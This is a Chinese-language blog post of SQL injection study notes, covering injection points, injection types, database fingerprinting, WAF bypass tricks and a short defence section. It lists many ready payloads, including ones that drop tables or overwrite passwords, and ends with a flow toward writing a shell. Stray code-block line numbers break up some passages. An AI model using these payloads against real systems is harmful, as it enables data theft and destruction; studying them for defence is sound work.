sql注入(理论)
SQL注入(SQL Injection)
中心主题:SQL注入
1. 注入位置分类
1.1 WHERE 子句注入(最常见)
- 登录框(用户名 / 密码)
- 搜索框
- GET/POST 参数(如 id、name、keyword)
- 典型 payload:
' or 1=1 --' or '1'='1admin' --') or ('1'='1
1.2 ORDER BY 注入
- 常出现在排序参数(如 order=asc / desc)
- 典型 payload:
order by 1--order by 999--(报错判断字段数)order by rand()(盲注)
1.3 GROUP BY / HAVING 注入
- 较少见,通常与聚合函数结合
1.4 LIMIT / OFFSET 注入
- 翻页参数
- payload:
1 union select 1,2,3 limit 0,1
1.5 UPDATE / INSERT 注入
- 修改个人信息、注册、评论等
- payload 示例:
', (select database()) , '1; update users set password='123' where id=1 --
1.6 其他位置
- Cookie 注入(较少)
- HTTP Header 注入(User-Agent、Referer 等,极少)
- 文件名 / 路径注入(日志投毒型)
2. 注入类型
2.1 报错注入(Error-Based)
- 利用数据库报错信息直接回显数据
- 常见函数:
- MySQL:
extractvalue()、updatexml()、floor(rand(0)*2) - SQL Server:
CAST()、CONVERT() - Oracle:
dbms_xmlquery.newcontext()
- MySQL:
2.2 联合查询注入(Union-Based)
字段数匹配后使用
union select经典 payload:
‘ union select 1,2,3,4,5 –+
‘ union select null,null,database(),user(),version() –+1
2
3
4
### 2.3 布尔盲注(Boolean-Based)
- 通过页面真假变化判断
- 典型 payload:‘ and 1=1 – (页面正常)
‘ and 1=2 – (页面异常)
‘ and ascii(substr(database(),1,1))>64 –1
2
3
4
5
6
7
8
### 2.4 时间盲注(Time-Based)
- 通过响应延迟判断
- 常见函数:
- MySQL:`sleep(5)`、`benchmark(5000000,md5(1))`
- SQL Server:`WAITFOR DELAY '0:0:5'`
- Oracle:`dbms_lock.sleep(5)`
- payload 示例:‘ and if(1=1,sleep(5),0) –
‘ and 1=case when substring(database(),1,1)=’a’ then sleep(5) else 0 end –1
2
3
4
### 2.5 堆叠查询(Stacked Queries)
- 支持多语句执行(; 分隔)
- payload:‘; drop table users; –
‘; update users set password=’hacked’ where id=1; –1
2
3
4
5
6
7
8
9
10
---
## 3. 常见数据库特征 payload
### 3.1 MySQL / MariaDB
- 当前数据库:`database()`、`schema()`
- 当前用户:`user()`、`current_user()`
- 版本:`version()`
- 库表字段:information_schema.tables
information_schema.columns
information_schema.schemata
3.2 SQL Server
- 当前数据库:
db_name() - 当前用户:
user_name()、system_user - 版本:
@@version - 库表:
sys.databases、sys.tables、sys.columns
3.3 Oracle
- 当前用户:
user - 版本:
banner from v$version - 表:
all_tables、user_tables - 列:
all_tab_columns
3.4 PostgreSQL
- 当前数据库:
current_database() - 当前用户:
current_user - 版本:
version() - 表:
pg_tables、information_schema.tables
4. 绕过方式(WAF / 过滤)
4.1 空格 / 注释绕过
/**/、--、#、/* *//*!50000select*/select/**/1
4.2 大小写绕过
SeLeCt、uNiOn SeLeCt
4.3 编码绕过
- URL 编码:
%27、%20 - 双重编码
- Unicode:
%u0027
4.4 内联注释绕过
select/*!50000 version*/()
4.5 替代函数
substring()→mid()、substr()sleep()→benchmark()、pg_sleep()
4.6 HTTP 参数污染 / 拆分
- 多个同名参数
?id=1&id=-1 union select...
5. 防御与修复建议
- 使用参数化查询(Prepared Statements / PDO)
- 使用 ORM(如 MyBatis、Hibernate、Django ORM、SQLAlchemy)
- 输入严格白名单过滤
- 最小权限原则(数据库用户只给必要权限)
- WAF + 日志监控
- 错误信息屏蔽(不要回显数据库错误)
快速记忆口诀(注入流程):
- 判断注入点(’ “ ) } 报错/变化)
- 判断字段数(order by / union select null,null…)
- 判断回显位置(union select 1,2,3…)
- 爆库名、表名、列名、数据
- 尝试提权 / 写 shell(视权限)
如需补充具体数据库的完整 payload 字典、WAF 绕过案例、或某个漏洞的详细利用链,请继续告诉我!
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Tubby Little Hero!






